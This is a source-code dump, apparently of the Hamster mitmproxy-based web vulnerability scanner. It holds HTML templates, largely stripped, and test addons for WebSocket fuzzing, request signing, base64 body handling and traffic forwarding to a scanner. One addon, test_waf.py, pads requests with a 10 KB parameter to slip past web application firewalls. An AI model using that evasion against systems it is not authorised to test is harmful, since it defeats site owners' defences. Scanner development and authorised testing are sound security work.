10 | parser.add_argument('-lh', "--listen-host", action='store', help='Listen address', type=str)
11 | parser.add_argument('-lp', "--listen-port", action='store', help='Listen port',type=int)
12 | parser.add_argument('-sh', "--server-host", action='store', help='Server address', type=str)
13 | parser.add_argument('-sp', "--server-port", action='store', help='Server port', type=int)
14 | parser.add_argument("-d", "--debug", action='store_true', help="Run debug", default=False)
15 | parser.add_argument("-h", "--help", action='store_true', help="Show help", default=False)
16 | return parser
17 |
18 | if __name__ == '__main__':
19 | parser = ArgumentParser(add_help=False)
20 | parser = arg_set(parser)
21 | args = parser.parse_args()
22 | if args.help:
23 | parser.print_help()
24 | else:
25 | start_support(args)
--------------------------------------------------------------------------------
/template/login.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | {% block head %}
9 | {{title}} - Hamster
10 | {% endblock %}
11 |
12 | {% block css %}
13 |
14 |
15 | {% endblock %}
16 |
17 |
18 |
19 |
20 |
21 |
22 |
24 |
25 |
26 |
Login
27 |
28 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
--------------------------------------------------------------------------------
/template/manager/dashboard.html:
--------------------------------------------------------------------------------
1 | {% extends "layout.html" %}
2 |
3 | {% block title %}{{title}}{% endblock %}
4 |
5 | {% block head %}
6 | {{ super() }}
7 | {% endblock %}
8 |
9 | {% block css %}
10 |
11 | {{ super() }}
12 |
13 |
14 |
15 | {% endblock %}
16 |
17 | {% block content %}
18 |
19 |
20 |
21 |
22 |
23 |
24 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 | {% endblock %}
42 |
43 | {% block js %}
44 | {{ super() }}
45 |
46 |
47 |
48 |
49 |
54 | {% endblock %}
--------------------------------------------------------------------------------
/template/manager/profile.html:
--------------------------------------------------------------------------------
1 | {% extends "layout.html" %}
2 |
3 | {% block title %}{{title}}{% endblock %}
4 |
5 | {% block head %}
6 | {{ super() }}
7 | {% endblock %}
8 |
9 | {% block css %}
10 |
11 | {{ super() }}
12 |
13 |
14 |
15 | {% endblock %}
16 |
17 | {% block content %}
18 |
19 |
20 |
21 |
59 |
60 | {% endblock %}
61 |
62 | {% block js %}
63 | {{ super() }}
64 |
65 |
66 |
67 |
68 |
73 | {% endblock %}
--------------------------------------------------------------------------------
/template/manager/reset.html:
--------------------------------------------------------------------------------
1 | {% extends "layout.html" %}
2 |
3 | {% block title %}{{title}}{% endblock %}
4 |
5 | {% block head %}
6 | {{ super() }}
7 | {% endblock %}
8 |
9 | {% block css %}
10 |
11 | {{ super() }}
12 |
13 |
14 |
15 | {% endblock %}
16 |
17 | {% block content %}
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 |
{{title}} Password
26 |
27 |
28 |
55 |
56 |
57 |
58 |
{{title}} API-Key
59 |
60 |
61 |
62 |
63 |
64 |
65 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 | {% endblock %}
82 |
83 | {% block js %}
84 | {{ super() }}
85 |
86 |
87 |
88 |
89 |
94 | {% endblock %}
--------------------------------------------------------------------------------
/test_addon/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
--------------------------------------------------------------------------------
/test_addon/agent/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/orleven/Hamster/e3e0dabae620801616544f1b12220ab1dfaeec97/test_addon/agent/__init__.py
--------------------------------------------------------------------------------
/test_addon/agent/test_ws_agent_addon.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import re
6 | import traceback
7 | from copy import deepcopy
8 | from mitmproxy.http import HTTPFlow
9 | from lib.core.data import log
10 | from lib.core.enums import AddonType
11 | from lib.core.enums import ParameterType
12 | from lib.core.enums import VulType
13 | from lib.core.enums import VulLevel
14 | from lib.util.aiohttputil import ClientSession
15 | from addon.agent import AgentAddon
16 |
17 |
18 | class Addon(AgentAddon):
19 | """
20 | 测试Websockett脚本
21 | """
22 |
23 | def __init__(self):
24 | AgentAddon.__init__(self)
25 | self.name = 'TestAgentAddonWS' # 脚本名称,唯一标识
26 | self.addon_type = AddonType.WEBSOCKET_ONCE # 脚本类型,对应不同扫描方式
27 | self.vul_name = "TestAgentWS"
28 | self.level = VulLevel.NONE
29 | self.vul_type = VulType.NONE
30 | self.description = ""
31 | self.scopen = ""
32 | self.impact = ""
33 | self.suggestions = ""
34 | self.mark = ""
35 |
36 | async def prove(self, flow: HTTPFlow):
37 | method = self.get_method(flow)
38 | url = self.get_url(flow)
39 | headers = self.get_request_headers(flow)
40 | message = self.get_websocket_message_by_index(flow, -2)
41 | message_list = self.get_websocket_messages(flow)[:-2]
42 |
43 | # 扫描message
44 | if message:
45 | source_parameter_dic = self.parser_parameter(message.content)
46 | async for res_function_result in self.generate_parameter_dic_by_function(source_parameter_dic, self.generate_payload):
47 | temp_parameter_dic = res_function_result[0]
48 | keyword = res_function_result[1]
49 | temp_content, temp_boundary = self.generate_content(temp_parameter_dic)
50 | message.content = temp_content
51 | if await self.prove_test(keyword, method, url, message, headers, message_list):
52 | return
53 |
54 | async def prove_test(self, keyword, method, url, message, headers, message_list):
55 | async with ClientSession(self.addon_path) as session:
56 | async with session.ws_connect(url, method=method, headers=headers, message_list=message_list, message=message) as ws:
57 | if message.is_text:
58 | await ws.send_str(str(message.content, 'utf-8'))
59 | else:
60 | await ws.send_bytes(message.content)
61 | if ws:
62 | msg = await ws.receive_bytes()
63 | if msg and bytes(keyword, "utf-8") in msg:
64 | detail = f"test"
65 | await self.save_vul(ws, detail)
66 | return True
67 | return False
68 |
69 | async def generate_payload(self, content=None):
70 | yield "payload", "keyword"
71 |
--------------------------------------------------------------------------------
/test_addon/common/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
--------------------------------------------------------------------------------
/test_addon/common/test_sign.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from addon import BaseAddon
6 | from mitmproxy import http
7 | from lib.core.enums import AddonType
8 | from lib.core.enums import VulType
9 | from lib.core.enums import VulLevel
10 | from datetime import datetime
11 | from httpsig import HeaderSigner
12 |
13 | class Addon(BaseAddon):
14 | """
15 | 测试签名, 给参数签名
16 |
17 | pip install httpsig==1.3.0
18 | """
19 | def __init__(self):
20 | BaseAddon.__init__(self)
21 | self.name = 'TestSign'
22 | self.addon_type = AddonType.URL_ONCE
23 | self.vul_name = "测试签名",
24 | self.level = VulLevel.NONE,
25 | self.vul_type = VulType.NONE,
26 | self.scopen = "",
27 | self.description = "测试签名",
28 | self.impact = "",
29 | self.suggestions = "",
30 | self.mark = ""
31 |
32 | self.servers = [
33 | "localhost",
34 | ]
35 | self.app_key = 'test'
36 | self.app_secret = 'test'
37 |
38 | def request(self, flow: http.HTTPFlow):
39 | """server/support 请求包函数入口"""
40 | host = self.get_host(flow)
41 | method = self.get_method(flow)
42 | if host in self.servers and method in ['GET', 'POST']:
43 | path = self.get_path_no_query(flow)
44 | method = self.get_method(flow)
45 | gmt_format = '%a, %d %b %Y %H:%M:%S CST'
46 | data = datetime.utcnow().strftime(gmt_format)
47 | signature_headers = ['(request-target)', 'accept', 'date']
48 | auth = HeaderSigner(key_id=self.app_key, secret=self.app_secret, algorithm='hmac-sha256', headers=signature_headers)
49 | signed_headers_dict = auth.sign({"Date": data, "Host": host, 'Accept': 'application/json'}, method=method, path=path)
50 | for key, value in signed_headers_dict.items():
51 | flow.request.headers[key] = value
52 | self.log.info('Sign Success: ' + flow.request.url)
53 |
--------------------------------------------------------------------------------
/test_addon/common/test_waf.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from addon import BaseAddon
6 | from mitmproxy import http
7 | from lib.core.enums import AddonType
8 | from lib.core.enums import VulType
9 | from lib.core.enums import VulLevel
10 | from lib.util.util import random_lowercase_digits
11 |
12 | class Addon(BaseAddon):
13 | """
14 | 测试WAF, 添加 1024 * 10 长度的参数, 适用于超长数据包绕过场景
15 | """
16 |
17 | def __init__(self):
18 | BaseAddon.__init__(self)
19 | self.name = 'TestWAF'
20 | self.addon_type = AddonType.URL_ONCE
21 | self.vul_name = "测试WAF",
22 | self.level = VulLevel.NONE,
23 | self.vul_type = VulType.NONE,
24 | self.scopen = "",
25 | self.description = "测试WAF",
26 | self.impact = "",
27 | self.suggestions = "",
28 | self.mark = ""
29 |
30 | self.servers = [
31 | "localhost",
32 | ]
33 |
34 | def request(self, flow: http.HTTPFlow):
35 | """server/support 请求包函数入口"""
36 | host = self.get_host(flow)
37 | method = self.get_method(flow)
38 | if host in self.servers and method in ['GET', 'POST']:
39 | data = self.get_request_content(flow)
40 | boundary = self.get_request_boundary(flow)
41 |
42 | # 解析body参数
43 | source_parameter_dic = self.parser_parameter(data, boundary)
44 |
45 | # 添加 1024 * 10 长度的参数
46 | name = random_lowercase_digits(16)
47 | value = random_lowercase_digits(1024 * 10)
48 | temp_sub_parameter_dic = self.create_child_parameter(name, value)
49 | source_parameter_dic["value"].append(temp_sub_parameter_dic)
50 |
51 | # 重新生成参数
52 | temp_content, temp_boundary = self.generate_content(source_parameter_dic)
53 |
54 | # 修改flow参数即可
55 | self.set_request_content(flow, temp_content)
56 | self.log.info('Waf Success: ' + flow.request.url)
57 |
58 |
--------------------------------------------------------------------------------
/test_addon/server/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
--------------------------------------------------------------------------------
/test_addon/server/scan.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import asyncio
6 | import traceback
7 | from addon.server import ServerAddon
8 | from lib.core.enums import VulType
9 | from lib.core.enums import VulLevel
10 | from lib.core.enums import AddonType
11 |
12 | class Addon(ServerAddon):
13 | """
14 | 捕获原始数据包,可作为后续的分析/扫描处理,比如通过rabbitmq推至web扫描器等。
15 | """
16 |
17 | def __init__(self):
18 | ServerAddon.__init__(self)
19 | self.name = 'Scan'
20 | self.addon_type = AddonType.URL_ONCE
21 | self.level = VulLevel.NONE
22 | self.vul_type = VulType.NONE
23 | self.vul_name = "数据包推送"
24 | self.scopen = ""
25 | self.description = "数据包推送至扫描器"
26 | self.impact = ""
27 | self.suggestions = ""
28 | self.mark = ""
29 |
30 | async def response_inject(self, flow):
31 | if self.is_scan_response(flow):
32 | await self.push_scan_queue(flow)
33 | else:
34 | url = self.get_url(flow)
35 | self.log.debug(f"Bypass scan response flow, url: {url}, addon: {self.name}")
36 |
37 | def response(self, flow):
38 | asyncio.get_event_loop().create_task(self.response_inject(flow))
39 |
--------------------------------------------------------------------------------
/test_addon/server/scan_ws.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | import asyncio
6 | import traceback
7 | from addon.server import ServerAddon
8 | from lib.core.enums import VulType
9 | from lib.core.enums import VulLevel
10 | from lib.core.enums import AddonType
11 |
12 | class Addon(ServerAddon):
13 | """
14 | 捕获Websocket原始数据包,可作为后续的分析/扫描处理,比如通过rabbitmq推至web扫描器等。
15 | """
16 |
17 | def __init__(self):
18 | ServerAddon.__init__(self)
19 | self.name = 'ScanWS'
20 | self.addon_type = AddonType.WEBSOCKET_ONCE
21 | self.level = VulLevel.NONE
22 | self.vul_type = VulType.NONE
23 | self.vul_name = "Websocket数据包推送"
24 | self.scopen = ""
25 | self.description = "Websocket数据包推送至扫描器"
26 | self.impact = ""
27 | self.suggestions = ""
28 | self.mark = ""
29 |
30 | def websocket_message(self, flow):
31 | asyncio.get_event_loop().create_task(self.websocket_message_inject(flow))
32 |
33 | async def websocket_message_inject(self, flow):
34 | if self.is_scan_to_client(flow):
35 | await self.push_scan_queue(flow)
36 | else:
37 | url = self.get_url(flow)
38 | self.log.debug(f"Bypass scan websocket message flow, url: {url}, addon: {self.name}")
39 |
40 |
41 |
--------------------------------------------------------------------------------
/test_addon/server/test_server_cipher.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from addon import BaseAddon
6 | from mitmproxy import http
7 | from lib.core.enums import AddonType
8 | from lib.core.enums import VulType
9 | from lib.core.enums import VulLevel
10 | from lib.util.cipherutil import base64decode
11 |
12 | class Addon(BaseAddon):
13 | """
14 | 测试加解密, 给body加解密, 与support/test_support_cipher.py 对应,
15 | request函数负责给先解密数据包,然后发送到agent扫描
16 | """
17 | def __init__(self):
18 | BaseAddon.__init__(self)
19 | self.name = 'TestServerCipher'
20 | self.addon_type = AddonType.URL_ONCE
21 | self.vul_name = "测试加解密",
22 | self.level = VulLevel.NONE,
23 | self.vul_type = VulType.NONE,
24 | self.scopen = "",
25 | self.description = "测试加解密",
26 | self.impact = "",
27 | self.suggestions = "",
28 | self.mark = ""
29 |
30 | self.servers = [
31 | "localhost",
32 | ]
33 |
34 | def request(self, flow: http.HTTPFlow):
35 | """解码请求包"""
36 | host = self.get_host(flow)
37 | method = self.get_method(flow)
38 | if host in self.servers and method in ['GET', 'POST']:
39 | data = self.get_request_content(flow)
40 | data = base64decode(data)
41 | self.set_request_content(flow, data)
42 | self.log.info('Server request cipher Success: ' + flow.request.url)
43 |
--------------------------------------------------------------------------------
/test_addon/server/test_websocket.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from addon import BaseAddon
6 | from lib.core.enums import AddonType
7 | from lib.core.enums import VulType
8 | from lib.core.enums import VulLevel
9 |
10 | class Addon(BaseAddon):
11 | """
12 | 测试脚本, 替换Websocket某个字符串
13 | """
14 |
15 | def __init__(self):
16 | BaseAddon.__init__(self)
17 | self.name = 'TestWebsocket'
18 | self.addon_type = AddonType.URL_ONCE
19 | self.level = VulLevel.NONE,
20 | self.vul_type = VulType.NONE,
21 | self.scopen = "",
22 | self.description = "测试加解密",
23 | self.impact = "",
24 | self.suggestions = "",
25 | self.mark = ""
26 |
27 | self.servers = [
28 | "localhost",
29 | ]
30 |
31 | def websocket_message(self, flow):
32 | """server/support websoocket入口"""
33 |
34 | host = self.get_host(flow)
35 | if host in self.servers:
36 | last_message = flow.websocket.messages[-1]
37 | if flow.websocket and last_message.from_client:
38 | flow.websocket.messages[-1] = bytes(str(flow.websocket.messages[-1].content, 'utf-8').replace('test', 'test123'), 'utf-8')
39 |
40 |
--------------------------------------------------------------------------------
/test_addon/support/__init__.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
--------------------------------------------------------------------------------
/test_addon/support/test_support_cipher.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- encoding: utf-8 -*-
3 | # @author: orleven
4 |
5 | from addon import BaseAddon
6 | from mitmproxy import http
7 | from lib.core.enums import AddonType
8 | from lib.core.enums import VulType
9 | from lib.core.enums import VulLevel
10 | from lib.util.cipherutil import base64decode
11 | from lib.util.cipherutil import base64encode
12 |
13 | class Addon(BaseAddon):
14 | """
15 | 测试加解密, 给body加解密, 与server/test_server_cipher.py 对应,
16 | request 函数 负责给agent的数据包加密, 便于漏洞扫描,
17 | response函数,看实际情况评估是否需要解密
18 | """
19 | def __init__(self):
20 | BaseAddon.__init__(self)
21 | self.name = 'TestSupportCipher'
22 | self.addon_type = AddonType.URL_ONCE
23 | self.vul_name = "测试加解密",
24 | self.level = VulLevel.NONE,
25 | self.vul_type = VulType.NONE,
26 | self.scopen = "",
27 | self.description = "测试加解密",
28 | self.impact = "",
29 | self.suggestions = "",
30 | self.mark = ""
31 |
32 | self.servers = [
33 | "localhost",
34 | ]
35 |
36 | def request(self, flow: http.HTTPFlow):
37 | """解码请求包"""
38 | host = self.get_host(flow)
39 | method = self.get_method(flow)
40 | if host in self.servers and method in ['GET', 'POST']:
41 | data = self.get_request_content(flow)
42 | data = base64encode(data)
43 | data = bytes(base64encode(data), 'utf-8')
44 | self.set_request_content(flow, data)
45 | self.log.info('Support request ipher Success: ' + flow.request.url)
46 |
47 | # def response(self, flow: http.HTTPFlow):
48 | # """解码返回包"""
49 | # host = self.get_host(flow)
50 | # method = self.get_method(flow)
51 | # if host in self.servers and method in ['GET', 'POST']:
52 | # data = self.get_response_content(flow)
53 | # data = base64decode(data)
54 | # self.set_response_content(flow, data)
55 | # self.log.info('Support reponse Cipher Success: ' + flow.request.url)
--------------------------------------------------------------------------------